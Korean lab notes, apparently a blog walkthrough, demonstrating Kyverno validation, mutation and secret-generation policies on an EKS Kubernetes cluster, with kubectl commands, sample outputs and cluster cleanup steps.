sudo rpm -i step-cli_amd64.rpm

#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

prometheus 에서 확인가능

grafana 대시보드 : 15987, 15804

• Policy and Role : Kyverno Policy는 rules 모음 - Link

그래서 Kyverno는 Rule 을 관리하는 역할이라고 생각하면 될것같다.

 

Validation

```bash
# 모니터링
watch -d kubectl get pod -n kyverno

# ClusterPolicy 적용
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: **ClusterPolicy**
metadata:
  name: **require-labels**
spec:
  **validationFailureAction: Enforce**
  **rules**:
  - name: check-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    **validate**:
      message: "label 'team' is required"
      pattern:
        metadata:
          labels:
            team: "?*"
EOF

# 확인
kubectl get validatingwebhookconfigurations
**kubectl get ClusterPolicy**
NAME             ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
require-labels   true        true         Enforce           True    12s   Ready

# 디플로이먼트 생성 시도
**kubectl create deployment nginx --image=nginx**
*error: failed to create deployment: admission webhook "validate.kyverno.svc-fail" denied the request: 

resource Deployment/default/nginx was blocked due to the following policies 

require-labels:
  autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
    failed at path /spec/template/metadata/labels/team/'*

# 디플로이먼트 생성 시도
**kubectl run nginx --image nginx --labels team=backend**
kubectl get pod -l team=backend

# 확인
**kubectl get policyreport -o wide**
NAME                                   KIND         NAME                          **PASS**   FAIL   WARN   ERROR   SKIP   AGE
**e1073f10-84ef-4999-9651-9983c49ea76a**   Pod          nginx                         **1**      0      0      0       0      29s

**kubectl get policyreport e1073f10-84ef-4999-9651-9983c49ea76a -o yaml | kubectl neat | yh**
apiVersion: wgpolicyk8s.io/v1alpha2
kind: PolicyReport
metadata: 
  labels: 
    app.kubernetes.io/managed-by: kyverno
  name: e1073f10-84ef-4999-9651-9983c49ea76a
  namespace: default
results: 
- message: validation rule 'check-team' passed.
  policy: require-labels
  result: **pass**
  rule: check-team
  scored: true
  source: kyverno
  timestamp: 
    nanos: 0
    seconds: 1712473900
scope: 
  apiVersion: v1
  kind: Pod
  name: nginx
  namespace: default
  uid: e1073f10-84ef-4999-9651-9983c49ea76a
summary: 
  error: 0
  fail: 0
  pass: 1
  skip: 0
  warn: 0

# 정책 삭제
**kubectl delete clusterpolicy require-labels**
```

 

 

Mutation

• team 이라는 Key 가 없다면: default 로 bravo 를 입력함
• 실습에서는 team 이라는 Key 를 넣어준 것

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: **ClusterPolicy**
metadata:
  name: add-labels
spec:
  rules:
  - name: add-team
    **match**:
      any:
      - resources:
          kinds:
          - Pod
    **mutate**:
      patchStrategicMerge:
        metadata:
          labels:
            +(team): bravo
EOF

# 확인
kubectl get mutatingwebhookconfigurations
**kubectl get ClusterPolicy**
NAME         ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE     MESSAGE
add-labels   true        true         Audit             True    6m41s   Ready

# 파드 생성 후 label 확인
**kubectl run redis --image redis**
kubectl get pod redis --show-labels

# 파드 생성 후 label 확인 : 바로 위와 차이점은?
**kubectl run newredis --image redis -l team=alpha**
kubectl get pod newredis --show-labels

# 삭제
**kubectl delete clusterpolicy add-labels**

 

• Generation : We will use a Kyverno generate policy to generate an image pull secret in a new Namespace

# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \
  --docker-server=myinternalreg.corp.com \
  --docker-username=john.doe \
  --docker-password=Passw0rd123! \
  --docker-email=john.doe@corp.com

#
kubectl get secret regcred
NAME      TYPE                             DATA   AGE
regcred   kubernetes.io/dockerconfigjson   1      26s

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: sync-secrets
spec:
  rules:
  - name: sync-image-pull-secret
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      apiVersion: v1
      kind: Secret
      name: regcred
      namespace: "{{request.object.metadata.name}}"
      synchronize: true
      clone:
        namespace: default
        name: regcred
EOF

#
kubectl get ClusterPolicy
NAME           ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
sync-secrets   true        true         Audit             True    8s    Ready

# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret

# 삭제
kubectl delete clusterpolicy sync-secrets

 

 

(실습 완료 후) 자원 삭제

1. EKS 클러스터 삭제

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

2. testuser IAM User는 AWS 웹 관리콘솔에서 삭제